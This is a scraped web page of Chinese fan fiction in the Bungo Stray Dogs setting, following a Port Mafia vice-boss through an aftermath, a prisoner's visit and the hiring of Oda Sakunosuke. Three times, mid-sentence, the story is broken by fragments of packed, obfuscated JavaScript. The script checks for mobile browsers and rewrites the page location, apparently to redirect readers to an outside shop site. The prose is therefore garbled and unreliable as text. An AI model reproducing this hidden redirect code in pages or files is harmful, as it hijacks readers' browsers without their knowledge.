l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232691|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “从这里可以看到刚才的事情。”森鸥外语气平稳,“小枝,你辛苦了。” 我鼻子很酸,偷偷擦去眼角的眼泪。 这句话的意思是没有责怪我吗?毕竟某种程度上来说,我也是召唤【魔兽Guivre】的一员。 我有些难过,低下了头。 “不是你的错。”脑海里响起我妈虚弱的声音。 “你也是受害者。”耳边是红叶姐充满关心的声音。 二者重合。 森鸥外继续说道,“没想到那个研究员还留了这么一手啊。你的项链不要带了,把它放起来。” “我想把它埋在刑警先生的墓里。”我摘下项链,说道,“毕竟是已逝之人的东西,我不想留着了。” 森鸥外对此没有什么意见,只是递给我一份资料。 是关于异能分裂的。 我心里咯噔一下子。 “这是【组合】找到的。”森鸥外的语气淡淡的,听不出什么格外的情绪,“我接下来要说的事情,你最好有个心理准备。” “小枝,你和中也一样,都是实验室里出来的产物。” 哎?哎?! 我早就知道了啊......最近发生的一切我都有写任务报告,只不过涉及到我的身世和我妈的事情我都用“不知道”三个字来概括了,还添油加醋地写了很多关于村濑两兄弟的事。 等等......如果按照这些来推理的话,站在森鸥外的角度岂不是变成了我在扮演碟中谍的时候就已经被N盯上了,为了异能分裂这个事情对我进行了残酷的实验,他弟弟看不下去帮我逃了出去并给了我项链然后羞愧自杀、我很伤心一直保存着这条项链没想到最后被N阴了一手成为了召唤【魔兽Guivre】的容器还差点因此丧命...... 哇哦,怎么有种某种程度上很接近真相但某种程度上又自成一体的感觉! “对不起。”我低头开始道歉,“我当时的决定很鲁莽。” “没关系,小枝。”森鸥外拍拍我的脑袋,说道,“你也看见了,现在的情况逃是逃不掉的,所以,我期待着你们的表现。” “我们?” “你,太宰,还有中也。如果连这个危机都可以解决,那一定会成为新时代的开端。”森鸥外笑容不变,“你的异能可以分裂到什么程度?就是现在,展示给我看吧。” **** 【魔兽Guivre】瞪着猩红的眼睛。 风扬起我的外衣,是森鸥外还是黑医时期的那件白大褂。 “真的吓人啊......副首领,这红色比你的瞳孔还要刺眼。”太宰悠悠荡荡地走过来站在旁边,手里捏着一顶巫师帽。 “最多三十分钟,横滨就将被夷为平地。”中也和太宰治一起出现,在另一旁站定。 “害怕吗,中也?”我转头问道。 “愚蠢的问题。”中也嗤笑,“倒是副首领,您害怕吗?分裂异能这种事情我还是第一次听说。” 我毫不客气地怼回去,“我还是第一次听说过【污浊】这种东西呢。” “啊呀呀——”太宰哀怨的声音从旁边传来,“什么啊,听起来就像你俩拥有共同的小秘密一样。” “别装,太宰。”我撇了他一眼,“中也不是和你说过了吗?那些莫名其妙的记忆,和莫名其妙的特异点相加这件事。” “如果项链是中也拿着的话,那么容器就不会是你啦,副首领。”太宰治说。 不。 其实还是我,作为实验室产物的衍生物,我是逃不开那种感应的。 我没将这句话说出口,只是沉默地望向【魔兽Guivre】。 要来了,该动手了。 “你明白作战计划了吗?”离开的前一秒,我像是加油打气般开口问道。 “我打开【污浊】,你分裂异能。”中也认真回答道,“我击败【魔兽Guivre】,你制造特异点。等二者相撞的那一刻,【魔兽Guivre】消失,你再生,最后由太宰来终结这一切。” “首领真是打得一手好算盘。”我深呼吸,补充道,“一旦成功的话,那么港口Mafia 一定会名声大噪的吧。” “噫,跟两个混蛋绑定吗......真是想想都起鸡皮疙瘩。” “啊?中也,你以为我和小枝会想和你绑定吗?!” “如果硬要是这样的话,我会努努力自给自足的,这样你俩就不会分开了。” “别说恐怖故事啊混蛋二号!” “和小矮人永不分开吗?!我才不要!” 我无视身后的拌嘴,飞了出去。 中也紧随其后。 太阳吞噬了巨兽,点燃了夜晚。 天,亮了。 26.后记 战争结束了。 如此声势浩大,同时也悄无声息。 这件事涉及到许多机密,又与英国和法国颇有渊源,所以自然也引起了某些人的注意。比如军方的异能犯-罪对策科,算是港口Mafia的天敌。又比如官方的异能特务科,驳回了港-黑异能许可证的申请,以至于我们目前处于非法组织的状态。 “不过这都不是什么大问题。”办公室内,森鸥外语气轻松地说道,“比起这个,我更想知道你恢复的怎么样了,雪奈?” “还好吧,相对来说。”我瘫在沙发上,有气无力地回答,“比起肉-体,我的精神受到了更大的损伤......虽然已经有心理准备了,但看到中也那个样子还是吓了一跳。”我翻过身,语速快了起来,“怎么会有那么痛苦的异能呢?” “所以才会有太宰君的存在啊。”森鸥外双手交叉,露出好奇的神情,“不过我听太宰说抑制中也君的暴走是你做的?” “啊......呃,算是吧。”我挠挠头。 这么说不算太准确,我只是偶然间冒出了一个想法。既然可以控制时间,那能不能让中也回到使用【污浊】前呢? 事实证明我的想法没错,就是应用起来很麻烦。 不过有太宰这个bug一般的存在,那些困扰都不翼而飞了。 我理了理思绪,说道,“我的异能发生了进化。” 森鸥外挑眉,“......进化?” “是的。”我点头,“我现在可以小幅度地调整时间状态。” “......”过了一段时间,对方才慢慢接受了这个消息,他手指轻点下巴,像是发自内心地对此感到苦恼,“时间系的异能吗,既然这样我就要调整一下你的定位了啊......” ......不会吧?难道要把我从副首领这个位置上踢下去吗?! “我才十六岁就要面临被炒鱿鱼的人生打击吗?”我欲哭无泪,“果然男人没一个好东西!尤其是位高权重的男人!” “你最近的状态不妙啊,怎么脑子里都是这些奇奇怪怪的东西?”森鸥外沉默了片刻,俨然一副老父亲担心自家女儿的口吻道,“后面那句话有什么出处吗?” “啊,这个是我从红叶姐经常订购的杂志上面看到的!这个系列不仅销量最多而且价格十分近人!”我迅速换上一副高兴的表情,“需要帮您订几分吗?” “......不用了,谢谢。我们还是来继续讨论上一个问题吧。” “哈!你觉得还有人能担任副首领这个职位吗?唯一的人选只有我!” “态度都强硬起来了呢......希望你对敌人也会这样。” “一直都是。”我抬头,对上那双紫色眼眸,愣神片刻。 森鸥外看起来心情很好,给我一种话里有话的感觉。 “恭喜你,雪奈。”他递过来一份文件,对我说道,“从今以后,你不用再做那些无聊的外交工作了。带着一支独属于你的小队到最前线去。” 他顿了一下,嘴角勾起一抹笑意,“至于这个小队叫什么名字——交给你这个副首领来定。” **** 横滨,客船港口。 我拔下摩托车钥匙,抛向上空又稳稳接住。 其实我的年龄还不符合驾驶它的标准,但这不是重点。重要的是今天是个特殊的日子。 旗会常去的那间球吧需要重建,新买的球桌暂时用不上,所以我改了运输方式,从空运换成了船运,让它在海上飘了半个月。 飘到正好球桌到的那天,刚好是球吧重建好的那一天。 ——也就是今天。 不过巧的是,今天也是白濑离开日本和【组合】来访的日子。 我把胳膊搭在椅背上,整个人懒洋洋地靠过去。皮椅被太阳晒得发烫,隔着衣服也能感受到那股暖意。 心情颇好。 天气也不错。 恰巧白濑离开,恰巧【组合】来访,恰巧球吧建好,恰巧球桌到达。 我哼着歌,看向远方。 恰巧凑够四个恰巧。 就是巧合太多了,希望不要出现什么意外。 海浪就在不远处,还有那艘巨大的客船,最高处的烟囱吐着白烟,一缕一缕的,但很快就被吹散了。从船舷上的黑色缆绳,再到看不清里面的船窗,只要稍微下移视线,就能看见栈桥尽头的两个人影。 是白濑和中也。两个少年正在滔滔不绝地说着什么,声音不高,就像是被海浪和风声揉碎了一样,听不清具体内容。 然后,响起了沉闷的汽笛声。 白濑抬眼,视线越过中也的肩膀,朝这里看过来。 不出意外的话他应该是看见我了。我没躲,也没出声,就是在他看过来的一瞬间,飞快地眨了下眼。 对方愣住了,嘴角动了动,像是忍住了什么。 但那些都与我无关了,我仰起头,闭上眼睛,一片暖红,开始聆听风声。 除了风声,还有海鸟,叫声远远的,听不真切。 直到汽笛声再次响起。 “......雪奈。” 暖红变暗,又变红,再变暗。中也挥动着手掌,声音里是藏不住的惊奇,“你怎么在这里?” 我睁眼。 “取货?”赭发少年狐疑地向下看去。 “是啊,就在不远处的货船那里。”我拍拍摩托车的座椅,笑着地问道,“怎么样,很不错吧?” “成色确实不错。”中也细细打量着,抬眼问道,“只是......副首领还没到法定年龄吧?” “哇,中也,你自己不也没成年吗?”我皱眉,瞥了对方一眼,补充道,“再说这是给信天翁的,那辆车的钥匙不是找不到了吗......” 也就是在此刻,我鬼使神差地看向码头。 流线型的摩托车冰冷地沉默着。(1) ......欸? “对了,中也,你今天怎么来的?” “呃......我能拒绝这个回答问题吗?” “......信天翁这个混蛋!” 我一直不明白【组合】此次来访的目的是什么,按理来说这件事对他们并没有社么影响,反而不费吹灰之力得到了官方的认可。 不明白,但很好奇,于是我问了森鸥外。 “目的吗......”男人露出故作苦恼的表情,沉思片刻,随后右拳往左掌心一锤,眼睛发亮,“可能是为了建立良好的合作关系吧!毕竟我们之前也去拜访过他们!” “......你有病吧?” “雪奈你刚刚说了相当失礼的话吧?淑女不可以这么说话哦。”森鸥外笑了起来,紧接着加了一句,“既然你这么好奇的话,就去码头看看吧。” 这也就是我出现在这里的原因......之一。毕竟我前面就说过了,今天是个特殊的日子。 但太宰对我的出现很意外。他穿着正式的黑西装,头发俐落地梳起,脸上缠着绷带。 “呀吼,小枝!你也来接待调查团吗?” “不。”我坚定地摇头,“我是不会给自己增加工作量的,这个任务还是交给你和中也吧。” 中也转头,“那你在这里干什么?” “当然是——” 纯白色的豪华客船抵达码头,调查团走了下来。 然后,在黑压压的警卫和雾蒙蒙的高官之间,我瞥见了一抹熟悉的身影。 “啊——玛丽!” 不过之后发生的事情证明了凡事恰巧必会出现意外。 就在此刻,玛丽拖着巨大的行李箱,站在一堆老者和保镖的中间时,我这么想到。 ......我早该想到的啊! 森鸥外那种性格的家伙怎么会好心满足我的好奇心呢! “哎呀,在这里看见我很意外吧?”金发少女一边拽着行李箱一边说道,“无需惊讶,毕竟我是天才中的天才。” 中也忍不住问道,“什么意思?” “博士指的是在【组合】潜伏着的那些日子。”旁边的老人摸着自己的白胡子,爽朗地笑着。 “真是让人意外啊。”我抽了抽嘴角,突然想到了什么说道,“不过相比之下,麦尔维尔先生才是那个最意外的人吧?” “他早就猜到啦。”玛丽终于走下了最后一节台阶,扶着行李箱。 “虽然我们已经很熟了,但我还是要正式介绍一下自己。下午好,我是沃斯通克拉夫特博士,英国政府独立调查官的技术顾问负责人。”她伸出手,露出胸前数十枚功绩者勋章,“很高兴与你们见面,黑-手-党。” 今天的天气真是好得过头了。 我回握住对方的手,视线落在她胸前。 那些看着就价值不菲的金属徽章,正在闪闪发光。 调差团来得快,走得也快。在进行了长达一个月的全面搜查后,玛丽他们便头也不回地离开了日本。 毫无留恋,干脆得曾一度让我怀疑还有什么不可见人的阴谋。 而搜查的目的只有一个,那就是判断魏尔伦是否已经死亡。 结果无可厚非。 魏尔伦已经死了,连同【圣杯】一起。 当然,这是对他们来说。 **** 港口Mafia,地下防空室—— 通过几道严密的检查后,我推开大门。 很少有人踏足这里,也很少有人知道这里的存在。这里关押的都是那些凶神恶煞的罪人,亦或是对组织有极高风险的威胁者。 不久前,防空室迎来了一位新朋友。 也就是魏尔伦。 没错,【圣杯】没有消失,魏尔伦也没有死,就连他体内的兰波也依旧存活。两个紧密相连的灵魂维持着这具肉-体的生命,在防空洞里安静地生活着。 我不知道魏尔伦是怎么活下来的,或许是【圣杯】保住了他的人格,或许是兰波保住了他的生命。总之,现在的结果就是他现在还能悠闲地坐在藤椅上,漫不经心地看看书,写写诗,动动嘴皮子和兰波聊天。 或许是这些并不能让二者满足,过了两个月,在首领宣告直属于副首领的独立小队正式成立的这一天,魏尔伦发出了谈话请求。 这也是我出现在这里的原因。 经过最后一道检查,我来到了关押着魏尔伦的房间前。 一片安静,监视器里并没有什么异常。阳光无法抵达这里,所以屋内打着足够亮的灯。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254417|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去的时候,魏尔伦正在和兰波聊着什么。 当然,是通过自言自语的方式。 “副首领来了。” 这个彬彬有礼的语气,是兰波在向我打招呼。 “上午好,兰波。”我随便拽了张椅子坐下,盯着对方的眼睛问道,“找我来有何事?” “哈,没事不能找你吗?天天只能和这家伙说话,我都要无聊死了。”语调发生变化,字里行间还透漏出几分不好惹,我便知道这是换人了。 于是我架起手臂,好心提醒道,“那我可走了,我还有更重要的事情呢。” “是什么?”兰波问道。 “一定跟森鸥外脱不了干系!”魏尔伦气汹汹地抢回主导权,“雪奈你这家伙该不会是个父控吧?” “我走了。” “......回来!” 在兰波诚挚地道歉后,我再次坐了回去。 “其实我们叫你来是为了组织的事。” 这倒是勾起了我的好奇心,我开口问道,“是什么?” “我们想培养后辈。”魏尔伦吊儿郎当地坐在那里,翘起二郎腿,“虽然我的重力异能失去了大半,但暗杀技术还在。我可以将它们全权教给黑-手-党的精英们,让他们成为暗杀之王。” 我若有所思,“然后让他们变成你这个样子吗?” “......你是不是找打?” “哇,怎么一言不合就要揍人!和中也那家伙一样!” 可能是我的后半句让对方感受到了安慰,魏尔伦没有动手,反而整个人陷入了一种诡异的自豪状态。 “......你这个样子明明就是弟控吧!” “什么——我才不是!还是你更父控一点!” “胡说!” “我没有!你给小队起【影击队】这个名字不就在暗示你将成为首领的影子吗?” “......艹!你是我肚子里的蛔虫吗?!” “好啦好啦......你们两个不要再吵啦......”兰波立刻夺回了身体的主导权,心平气和地开始劝架。 “我才不会和没品的大人计较。”我收起脾气,对自己产生了怀疑,“......难道我真的是个父控?” 兰波信心满满地问道,“你想听我的回答吗?” “不想。” “哦。” 气氛有一瞬间的尴尬,就在此时,魏尔伦回来了。他没有再和我争论,反而关心起了中也的境况。 “他最近很好。”我撑着脸说道,“用不了多久,他和太宰就会成为干部了吧。” 魏尔伦突然降低了声音,“那那个人呢?” 我有些莫名,“谁?” “就是,就是旗会那个,和中也关系很好的。” “啊,你说钢琴家吗?”我笑了起来,语气轻松,“他已经成为干部啦。说起来,我还真期待中也和太宰成为干部的那天啊,这样组织的干部制度就更完善了。你为什么会担心这个?” 许是并没有得到想要的回答,魏尔伦不再拐弯抹角了,而是直截了当地问起了医生的状况。 我这才想起来,医生才是那个差点死在暗杀之王手里的人。 “还活着。”我语气有些复杂,客观地说道,“能喝能睡能跑能跳的,前两天还偷喝了中也一瓶法国红酒。” “这样啊。”魏尔伦松了一口气,整个人都放松了下来。 “对了,这钱你报销吗?” “行吧,一共多少?” 我掏掏兜,递过去一张购物清单。 魏尔伦细细查看起来。 过了一会,对方的表情越来越僵硬。 又过了一会,房间内响起了一个充满低气压的怒吼声。 “喂!你这家伙!把我当冤大头吗!为什么除了红酒还有这么多东西?” 我眨眼,一脸无辜,“这些都是医生采购的啊。” “球桌球杆沙发游戏机我就不说什么了,这几套化妆品和小裙子是怎么回事?” “呃......可能这是医生的爱好呢?” “我是傻子吗?” “算是吧。” “......” 我觉得这个地方不能再呆下去了。 这样下去的话我和魏尔伦迟早要噶一个,我可能是被打死,而他可能是被气死。 我选择溜之大吉。 “钱就打到这个账户上吧,你放心我会和中也平分的。”我飞速念出一串卡号,说道,“啊对了,还有你们那个提议我同意了。” 魏尔伦没有说话,反而是兰波对我道了谢。 **** 就这样,给黑-手-党带来死亡阴影的【暗杀王事件】,彻底拉下了帷幕。 而谁也没想到,魏尔伦和兰波的提议竟在不知不觉间,改变了港口Mafia的命运轨迹。 因为就在这不久,横滨迎来了□□历史上最糟糕的八十八天。当其他组织在混战中一个接一个被抹去名字、当雨水混着血水流进下水道时,港口Mafia却以一种谁也没有预料到的方式,成为了横滨的黑夜。 而那场改变了所有组织命运的混战,我们将其称为—— 【龙头战争】。 27.关于战争的第一天 培养后辈这件事魏尔伦和兰波不是随便说说的。 因此一顿挑挑选选还没有合适的人选之后,港口Mafia开始招聘人才了。 “我不服!为什么这种事要交给我这个副首领来做!”我看着桌子上密密麻麻的简历,试图靠撒娇来躲过这份差事,“红叶姐红叶姐~我早上起来就感觉心慌慌的,我能回去休息吗?” “组织内的人手严重不足啊。”尾崎红叶摸着我的脑袋,温柔地安抚道,“副首领,这种大事您还是要亲自出面的。我记得影击队队长的位置还空着?” “一说起这个我就生气。”我抱着手臂,一脸不快,“为什么来的人都是一些歪瓜裂枣?真以为我年纪小就什么也不懂吗?” “所以眼下的面试是一个好机会啊。” “其实我更想让中也来当这个队长,红叶姐你说那家伙会答应吗?” “啊,中也会揍你的吧。” 我眼神犀利起来,“红叶姐你的意思是我打不过他吗?” 红发女人看起来有些无奈,伸出手指比了一个“嘘”的手势,“我可没有这么说哦。” 可恶! 看来是时候要向众人证明自己的实力了!刚好用这个当借口逃离这里! “红叶姐,你说得对。”我摆出一副深受打击的样子,语气悲痛,“是我太弱了,我现在就去向中也请教。” “不用那么麻烦啊,小枝。” “什么?”我浑身一激灵,总感觉红叶姐的笑容带着几分邪恶。 这个感觉在看见不远处的赭发少年就更强烈了。 “中也,”尾崎红叶笑着打了招呼,“出任务刚回来?” “是啊,大姐......副首领,您也在。” 其实这个时候我更希望自己不在......我抽抽嘴角。 “你来得正好呢,中也。”尾崎红叶拍了拍对方的肩膀,“刚好副首领在找你,不如借这个机会谈谈?” 赭发少年露出大事不妙的表情,猛地看向我这边。我被看得有些心虚,只好装作什么也不知道的样子,吹着口哨转头。 唔,今天的风儿甚是喧嚣呢。(1) 尾崎红叶乐此不疲地说道,“既然这样,这里的面试就交给你和小枝啦。” 中叶中原应下,“是,大姐。” 气氛安静地可怕,过了一会儿,我冲中也露出一个礼貌的微笑。 “痛......”我捂着被打的地方,愤愤不平,“你这家伙,红叶姐刚走你就打我!” “你还好意思说!”对方看起来比我还要气愤,“你不想想自己做了什么吗?” “不就是想翘班吗,我又没想让你顶替我......等等,”我呆愣了片刻后恍然大悟,极度震惊下又想到了什么似的,抓住中也的肩膀问道,“所以红叶姐......邪恶之风竟然吹到这里了吗!不会是太宰教的吧?我们把他叫过来替班吧!” “......当然不是!我说的是你让我当......算了。”中原中也叹了一口气,露出一个疲惫的表情,“不过太宰那家伙是叫不过来的,你就死了这条心吧。” “哎——为什么?” “不是吧,您还不知道吗,副首领?”赭发少年惊奇地看过来,像是想到了什么似的笑出声。 “喂——喂,”这下是真给我弄懵了,我鼓起勇气问道,“我该知道些什么?” 对方眯起眼睛,露出一个红叶姐同款笑容,“太宰那家伙早就享受假期去了,用得还是什么‘副首领认证的休假券’......”说到后半句,对方还特意加重了语气。 ......淦! 怪不得我一直心慌,原来这就是搬起石头砸自己的脚啊! 可恶的太宰治! 面试这个任务并不麻烦,反而轻松过头了,因为来面试的人里根本没有几个异能者,反而普通人更多一些。 我将他们全部打发到底层去了。 “哎——”再次pass掉一个底层人员,我仰头,长叹一口气,“挑挑选选也没有什么满意的,这样下去连小队队长都找不到......” ——更别说让魏尔伦培养后辈了! “中也,你那边情况如何?” “只有一个还算不错,异能力很强,我已经让他去见首领了。”中也一边回忆着一边说道,“名字好像是.....啊,想起来了,叫坂口安吾。” 连中也都认为很强的异能者吗......我被挑起了几分好奇心,“什么样的能力?” 中也回答,“通过读取物品获取记忆。” “嘶——”我倒吸一口凉气,“这个能力很适合黑-手-党啊,中也你立大功了。” 赭发少年对此无动于衷,“总感觉从你口中说出来没什么好事。” 我:...... 挑衅吧?这是赤裸裸的挑衅吧?不过看在对方承担一大半的工作量后,这点情绪早就灰飞烟灭了。 我开始动手收拾这些简历,嘴也没闲下来,继续说道,“我感觉森鸥外会让他去当情报员。” 中也点头,罕见地没有反驳。我高兴地向对方说道并加快了手里的动作。 “那是因为你让人看起来很不爽啊。”中原中也轻咳一声,神情有些隐忍,“还有太宰。” “你们两个人的恩怨就不要扯到我身上了好吗?”我摊手,“至于后半句......估计是我小时候认太宰为师的缘故,所以我这是‘青出于蓝而胜于蓝’啊!” “真是倒霉啊。”对方露出一个略带同情的神色。 “你是说我还是太宰?” 中原中也已经彻底放弃了抵抗,“我在说自己。” 我:...... 就在我和中也抱着一堆东西往回走的时候,有人叫住了我们。 “打扰了,面试官。”来者是一个红发男人,三十多岁的样子,手里递过来一张看起来就很潦草的简历。 我看都没看打算将其劝退,“来面试的啊大叔,但很可惜,我们要打烊了。” “啊,是这样啊。”对方一副好说话的样子,将简历折好后对我们深鞠躬,“打扰了,很抱歉。” 然后就头也不回地离开了,没有一点拖泥带水。 事情发生得太快,预想中的自荐和大吵都没有发生,我呆愣在原地,和同样懵逼的中也对上视线。 这个人......竟然这么有礼貌! 突然感觉自己就像那万恶的黑心资本家一样! “等等!”眼看对方的背影越来越小,我立刻大喊,成功让对方回头。 “呃,你先等等,总要看过你的简历再做决定吧?”我斟酌着用词,有意地问道,“为什么简历这么潦草?” “因为事情发生得很仓促。”红发男人再次将简历递过来,“西部那边在打仗,我偶然间遇见了一个黑发少年,他推荐我来这里试试看。” 我不自觉地想起太宰治,随后浑身一激灵,“对方是不是缠着绷带,还在寻死?” “是的,我遇见他的时候,他正试图一头撞死在豆腐上。” ......哦。破案了,看起来就是太宰治那家伙了,度假竟然度去了西区吗?我决定忽略这个小插曲,招呼中也阅读简历。 “姓名织田作之助,年龄竟然只有23岁吗......”我看了眼对面的男人,又低头看了看,惊呼起来,“等等,23岁?大叔你开玩笑的吧,怎么看起来这么显老......奥奥,原来有四个小孩吗?年龄都差不多......” 自始至终,面试者都一句不发,静静地等待回答。 “嗯,是这样,基本情况我都已经了解了,这个‘偏防御性的异能’也很符合我们的要求,不过我还有个问题......”我抬头,想了半天最后还是决定说出来,“你们夫妻俩晚上不能干点别的事情吗?黑-手-党是没有陪产假的。” 身旁的中原中也大惊,抬手给了我一个暴栗,“副首领?!” “痛痛痛痛痛......中也你就不能换个地方打吗?早晚有一天我要被你打出脑震荡!”我捂住脑袋开始哀嚎,恰在此时,对面的红发男人......不,应该是红发青年递过来一个小型冰袋。 “谢谢。”我看向对方,有些不好意思地开口,“真是抱歉,希望您别介意。” “没关系,”这个叫织田作之助得青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263686|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年摇头解释道,“我没有结婚,也没有恋人。那些孩子是我在战争中收养的。” “这样啊......”听完之后就更不好意思了啊! “你有什么别的问题吗?” “......有,我可以申请当基层成员吗?” “欸——可以是可以,但基层人员的工资是很低的哦,根本不能养活四个小孩。”我想了想那些帮派间的斗争,认真说道,“况且最近的战争真的很多......刚好我知道有个职位目前空缺,就交给你吧,工资给你双倍!” 织田作之助听懂了我的言外之意,看起来有些犹豫,“是什么?” “影击队队长,刚成立不久,活儿也不是很多。”我抽出一份资料,“隶属于副首领,也就是我。” 这个决定不是我脑袋一热想出来的,相反我为此思考了很多,让眼前的男人担任我的直属小队长,主要还是有两个原因。 一是太宰治,能让他看上并推荐的人肯定有什么过人之处,至于二,那就是织田作之助实在是—— 太不会撒谎了! 什么叫“偏防御性的异能?”这个形容一看就很有问题啊,还是漏洞百出的那种!当然,这只是针对和他异能相似的我来说。俗话说同性相斥异性相吸,和他相似的异能让我产生了一种不太舒服的感觉,但使用者性别不同,又互相吸引,反而中和掉了这种感觉,这也是对方丝毫没有察觉到这点的原因。 初步判断,织田作之助的异能一定与时间有关,再加上他的描述,我觉得是【预言】的几率更大一点。 所以我们两个,简直“同是天涯沦落人”啊。 “怎么样?有没有很心动?” 织田作之助抿了抿嘴唇,问了我一个意料之外的问题,“这个职位,会让我杀-人吗?” 我被问得一愣,“什么?” “我说,”他的语气坚定起来,“会让我杀-人吗?” 虽然用的疑问句式,表达的意思却是“我拒绝,因为我不杀-人。” 这个样子啊......这样我的推测离实际情况更进了一步,不愿意杀-人,那以前的工作是......杀手么?厌恶了这种感觉,所以才会收养那些无家可归的孤儿,来寻求自我吗? 我陷入了沉默,余光瞥到中也,对方投过来一个不太赞同的眼神。 我明白中也的的顾虑。影击队队长虽然比游击队队长的地位低一级,但基本任务都会大差不差,主要还是上前线,镇压、肃清敌对势力。眼前这个男人的要求似乎很不现实,但......给我提供了一种新思路。 谁说一定要杀-人? 在这世上,死亡是最平等,但不是最可怕。 过了一会儿,我开始行动起来。 “好吧,既然你态度这么坚决,那我答应你。”无视中也的反应,我握住红发青年的手,一脸认真,“况且,我要的不是杀手,而是一个能保护大家,也能在黑暗中守住规则的人。。” 织田作之助的眼睛亮了起来,他用力回握住,对我说道,“......好。” 就这样,我的影击小队总算是十全十美了,就是太宰的反应让我有些不满,没有被抢走人的愤怒与震惊,反而觉得织田作真是一个有趣的家伙。 虽然织田作的关注点总是奇奇怪怪,某种方面来说还真应了太再说的那句有趣。 不久之后,由太宰治、坂口安吾、织田作之助组成的“无赖派”便横空出世了,三人经常一起喝酒、闲聊、聚会,导致我来酒吧的次数也多了起来。 而“织田作”这个称呼,也是从太宰那里流出来的,我觉得能想出这个名字的人简直就是天才,因为读起来真的很顺口啊!当然,我还是问了一下太宰治的意见的,如果他不同意的话我就私底下偷偷叫......好在太宰并不是很在意这个事情,于是在那之后,几乎是所有人都这么称呼织田作了,当事人也没有异议,反而对自己十分受欢迎这件事感到震惊与荣幸。 我喜欢织田作。 大家也都喜欢织田作。 所以,我理所当然地认为,没有什么东西会让我们分开。 当然,也只是对那时的我来说。 28.关于战争与敌人 横滨最近的气氛不太对。 就如织田作所说的,先是西部那里发生了暴乱,随后战争像病毒一样开始蔓延,不断被挑起。三十二天后,各个帮派间开始莫名其妙地陷入火-拼,争夺势力与地盘。 而这三十二天内,港口Mafia也一直处于被迫防御状态。 首领办公室内—— 森鸥外正在听太宰的汇报。 “为了什么?”听完报道后,森鸥外双手交叉,下巴搁在手背上,一动不动地盯着对面的黑发少年。 少年正在缠绷带,从手臂到肩膀,他的动作小心翼翼,似乎在有意避开那些细小的伤口。 “啊呀呀,这才是让我感到震惊的地方。”太宰治头也不抬地说道,“我可是费了九牛二虎之力才从那些死人口中挖出点东西来......而这个结果是谁都无法预料到的。” 他在此刻抬头,眼里闪出死寂的光,“引发战争的原因,是为了一台机器,而那台机器的名字是——” 同一时刻,我本人正在港口御敌。 港口Mafia最近频频被人挑衅与攻击。这种状态持续了整整三十二天,组织已陷入危机,其中之一便是仓库受到袭击。 离港口不远处便是受袭的仓库区之一,那里摆放着武器、炸药与交通工具。仓库区警备森严,作为□□掌控的地盘,没有居民敢来这里散步,也没有警察愿意踏足这里。 所以,出现在这附近的小卡拉米们完全就是自寻死路。 我不清楚他们受谁指使,也不清楚来自哪个帮派,总之和我们不对付就是了。用最快的速度处理掉那些人并挖出情报后,我叫来了专门清理现场的黑蜥蜴。 我心情很好。 倒也不是这些敌人的缘故,而是此时此刻,我又出现了那种冥冥之中的感觉——在【暗杀王事件】里,属于程序之间的相互感应而引发的不适感。 直到广津柳浪带着黑蜥蜴到达时,我才缓过神来。 “副首领大人。”来者向我鞠躬以示敬意,随后开始指示下属干活。 不断移动的黑点们让我有些头晕,我缓了缓,目光放在他们腰间的配枪上,说了一句连我自己都觉得没理头的话。 “我不喜欢枪支这个武器。” 在场所有正在工作的成员一愣,我没有下一步指令,只是阴沉地盯着虚空。 广津柳浪打了一个手势,随后我听见武器被扔在地上的啪嗒声。 我心里很不是滋味。 “捡起来吧,那是你们的武器,不是我的。”我看了一圈黑蜥蜴成员,转过身,总算找回了自己的声音。 “累了。” 广津柳浪走上前来,“我派人送您回去?” “不用了,老爷子。”我揉揉额头,“已经是这周第五次突袭了,没什么杀伤力,恶心人的本领倒是一绝。” “还是来自西部的那些组织们吗?”对方下意识掏出一根烟,又立刻收了回去。 “蛇鼠一窝,找不到主谋。”我不动声色地瞥了一眼,语气里也掺杂着几分担心,“老爷子,少抽点烟吧。” 广津柳浪敏锐地捕捉到了我的情绪变化,不由得松了一口气,“让年轻人担心我这个老家伙,真是惭愧啊。” “我确实很担心你啊,老爷子,尤其是拷问班问出的东西,真是叫人后怕啊。放在烟里的、让人神不知鬼不觉就丧失攻击的恶心东西。” 广津柳浪挺直身体,换上一副端正的神色,“是,副首领大人。” 这就是□□最近正在面临的另一个危险。敌对组织将目标放在了日常必需品上,比如食物、饮料、水或者烟-酒。前三者的威胁性很大,毕竟人要活着就无法离开吃喝二字。但后者的杀伤力也不低,中招的多是底层人员,因为烟-酒是他们的日常行为之一。 当然,干部中也有中招的,我指的就是大佐。老头子一向酒品很好,那天和下属们聚会时却被一杯放倒,直属部下察觉到不对劲后呼叫了旗会的医生并封锁了现场。 经过一番调查,发现是某个已经被收买的下属动的手脚。 组织内人心惶惶,对于这一切我们却毫无头绪,拷问班连敌对组织的名字都问不出来。 大佐醒来后被气得破口大骂,但人人都知道他更多的情绪是痛心。 所以,在一个风和日丽的上午,大佐递交了一份辞行申请。 森鸥外和我毫不犹豫地拒绝了。 不能走啊真的不能走,本来人就少,上战场的人更少,大佐叔你走了我们怎么办啊! 